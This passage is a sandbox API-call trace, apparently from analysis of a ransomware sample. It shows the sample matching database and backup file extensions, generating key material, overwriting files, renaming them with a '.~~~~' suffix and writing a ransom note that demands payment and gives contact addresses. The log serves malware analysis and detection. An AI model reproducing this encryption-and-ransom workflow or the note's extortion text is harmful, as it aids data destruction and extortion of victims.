	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".PST") returned 0x0
	[0082.557] lstrlenW (lpString=".dbf") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dbf") returned 0x0
	[0082.557] lstrlenW (lpString=".SQL") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".SQL") returned 0x0
	[0082.557] lstrlenW (lpString=".pst") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".pst") returned 0x0
	[0082.557] lstrlenW (lpString=".dbv") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dbv") returned 0x0
	[0082.557] lstrlenW (lpString=".SDF") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".SDF") returned 0x0
	[0082.557] lstrlenW (lpString=".dtxs") returned 5
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dtxs") returned 0x0
	[0082.557] lstrlenW (lpString=".db3") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".db3") returned 0x0
	[0082.558] lstrlenW (lpString=".OST") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".OST") returned 0x0
	[0082.558] lstrlenW (lpString=".dbx") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dbx") returned 0x0
	[0082.558] lstrlenW (lpString=".DB3") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DB3") returned 0x0
	[0082.558] lstrlenW (lpString=".DAT") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DAT") returned 0x0
	[0082.558] lstrlenW (lpString=".VHDX") returned 5
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".VHDX") returned 0x0
	[0082.558] lstrlenW (lpString=".ndf") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".ndf") returned 0x0
	[0082.558] lstrlenW (lpString=".DB") returned 3
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DB") returned 0x0
	[0082.558] lstrlenW (lpString=".sql") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".sql") returned 0x0
	[0082.558] lstrlenW (lpString=".MYD") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".MYD") returned 0x0
	[0082.558] lstrlenW (lpString=".DBT") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DBT") returned 0x0
	[0082.558] lstrlenW (lpString=".ACCDB") returned 6
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".ACCDB") returned 0x0
	[0082.558] lstrlenW (lpString=".fdb") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".fdb") returned 0x0
	[0082.558] lstrlenW (lpString=".bak") returned 4
	[0082.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".bak") returned 0x0
	[0082.559] lstrlenW (lpString=".myd") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".myd") returned 0x0
	[0082.559] lstrlenW (lpString=".DTXS") returned 5
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DTXS") returned 0x0
	[0082.559] lstrlenW (lpString=".ckp") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".ckp") returned 0x0
	[0082.559] lstrlenW (lpString=".dbt") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dbt") returned 0x0
	[0082.559] lstrlenW (lpString=".db") returned 3
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".db") returned 0x0
	[0082.559] lstrlenW (lpString=".TXT") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".TXT") returned 0x0
	[0082.559] lstrlenW (lpString=".MDF") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".MDF") returned 0x0
	[0082.559] lstrlenW (lpString=".bdb") returned 4
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".bdb") returned 0x0
	[0082.559] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.559] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.560] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.561] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20255089293) returned 1
	[0082.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b0ca810, dwHighDateTime=0x1d60e1e)) 
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4e78
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4e78 | out: hHeap=0x300000) returned 1
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0082.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0082.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.562] GetLastError () returned 0x0
	[0082.562] GetLastError () returned 0x0
	[0082.562] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.562] GetLastError () returned 0x0
	[0082.562] GetLastError () returned 0x0
	[0082.563] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x3d80, lpOverlapped=0x0) returned 1
	[0082.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc280, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.568] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x3d80, lpOverlapped=0x0) returned 1
	[0082.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.569] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.569] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.569] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.569] CloseHandle (hObject=0x130) returned 1
	[0082.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.~~~~")) returned 1
	[0082.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0082.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.570] GetLastError () returned 0x0
	[0082.570] RtlWakeConditionVariable () returned 0x365f70
	[0082.570] GetCurrentThreadId () returned 0x9f4
	[0082.570] GetCurrentThreadId () returned 0x9f4
	[0082.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8020 | out: hHeap=0x300000) returned 1
	[0082.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2588 | out: hHeap=0x300000) returned 1
	[0082.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8020
	[0082.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0082.571] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.571] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.572] CloseHandle (hObject=0x130) returned 1
	[0082.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8020 | out: hHeap=0x300000) returned 1
	[0082.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.572] RtlWakeConditionVariable () returned 0x365f70
	[0082.572] GetCurrentThreadId () returned 0x9f4
	[0082.572] GetCurrentThreadId () returned 0x9f4
	[0082.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0082.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0082.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0082.572] lstrlenW (lpString=".scr") returned 4
	[0082.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".scr") returned 0x0
	[0082.572] lstrlenW (lpString=".cmd") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".cmd") returned 0x0
	[0082.573] lstrlenW (lpString=".dll") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dll") returned 0x0
	[0082.573] lstrlenW (lpString=".bat") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".bat") returned 0x0
	[0082.573] lstrlenW (lpString=".cpl") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".cpl") returned 0x0
	[0082.573] lstrlenW (lpString=".sys") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".sys") returned 0x0
	[0082.573] lstrlenW (lpString=".msc") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".msc") returned 0x0
	[0082.573] lstrlenW (lpString=".com") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".com") returned 0x0
	[0082.573] lstrlenW (lpString=".lnk") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".lnk") returned 0x0
	[0082.573] lstrlenW (lpString=".msp") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".msp") returned 0x0
	[0082.573] lstrlenW (lpString=".pif") returned 4
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".pif") returned 0x0
	[0082.573] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0082.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0082.574] lstrlenW (lpString=".sqb") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".sqb") returned 0x0
	[0082.574] lstrlenW (lpString=".ost") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".ost") returned 0x0
	[0082.574] lstrlenW (lpString=".txt") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".txt") returned 0x0
	[0082.574] lstrlenW (lpString=".mdt") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".mdt") returned 0x0
	[0082.574] lstrlenW (lpString=".BDB") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".BDB") returned 0x0
	[0082.574] lstrlenW (lpString=".eql") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".eql") returned 0x0
	[0082.574] lstrlenW (lpString=".DBF") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DBF") returned 0x0
	[0082.574] lstrlenW (lpString=".EQL") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".EQL") returned 0x0
	[0082.574] lstrlenW (lpString=".FDB") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".FDB") returned 0x0
	[0082.574] lstrlenW (lpString=".EDB") returned 4
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".EDB") returned 0x0
	[0082.574] lstrlenW (lpString=".DACPAC") returned 7
	[0082.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DACPAC") returned 0x0
	[0082.574] lstrlenW (lpString=".VHD") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".VHD") returned 0x0
	[0082.575] lstrlenW (lpString=".DBV") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DBV") returned 0x0
	[0082.575] lstrlenW (lpString=".dacpac") returned 7
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dacpac") returned 0x0
	[0082.575] lstrlenW (lpString=".sdf") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".sdf") returned 0x0
	[0082.575] lstrlenW (lpString=".accdb") returned 6
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".accdb") returned 0x0
	[0082.575] lstrlenW (lpString=".DBX") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DBX") returned 0x0
	[0082.575] lstrlenW (lpString=".MDT") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".MDT") returned 0x0
	[0082.575] lstrlenW (lpString=".SQB") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".SQB") returned 0x0
	[0082.575] lstrlenW (lpString=".vhd") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".vhd") returned 0x0
	[0082.575] lstrlenW (lpString=".bac") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".bac") returned 0x0
	[0082.575] lstrlenW (lpString=".mdf") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".mdf") returned 0x0
	[0082.575] lstrlenW (lpString=".BAK") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".BAK") returned 0x0
	[0082.575] lstrlenW (lpString=".BAC") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".BAC") returned 0x0
	[0082.575] lstrlenW (lpString=".dbs") returned 4
	[0082.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dbs") returned 0x0
	[0082.575] lstrlenW (lpString=".vhdx") returned 5
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".vhdx") returned 0x0
	[0082.576] lstrlenW (lpString=".NDF") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".NDF") returned 0x0
	[0082.576] lstrlenW (lpString=".dat") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dat") returned 0x0
	[0082.576] lstrlenW (lpString=".DBS") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DBS") returned 0x0
	[0082.576] lstrlenW (lpString=".CKP") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".CKP") returned 0x0
	[0082.576] lstrlenW (lpString=".edb") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".edb") returned 0x0
	[0082.576] lstrlenW (lpString=".PST") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".PST") returned 0x0
	[0082.576] lstrlenW (lpString=".dbf") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dbf") returned 0x0
	[0082.576] lstrlenW (lpString=".SQL") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".SQL") returned 0x0
	[0082.576] lstrlenW (lpString=".pst") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".pst") returned 0x0
	[0082.576] lstrlenW (lpString=".dbv") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dbv") returned 0x0
	[0082.576] lstrlenW (lpString=".SDF") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".SDF") returned 0x0
	[0082.576] lstrlenW (lpString=".dtxs") returned 5
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dtxs") returned 0x0
	[0082.576] lstrlenW (lpString=".db3") returned 4
	[0082.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".db3") returned 0x0
	[0082.576] lstrlenW (lpString=".OST") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".OST") returned 0x0
	[0082.577] lstrlenW (lpString=".dbx") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dbx") returned 0x0
	[0082.577] lstrlenW (lpString=".DB3") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DB3") returned 0x0
	[0082.577] lstrlenW (lpString=".DAT") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DAT") returned 0x0
	[0082.577] lstrlenW (lpString=".VHDX") returned 5
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".VHDX") returned 0x0
	[0082.577] lstrlenW (lpString=".ndf") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".ndf") returned 0x0
	[0082.577] lstrlenW (lpString=".DB") returned 3
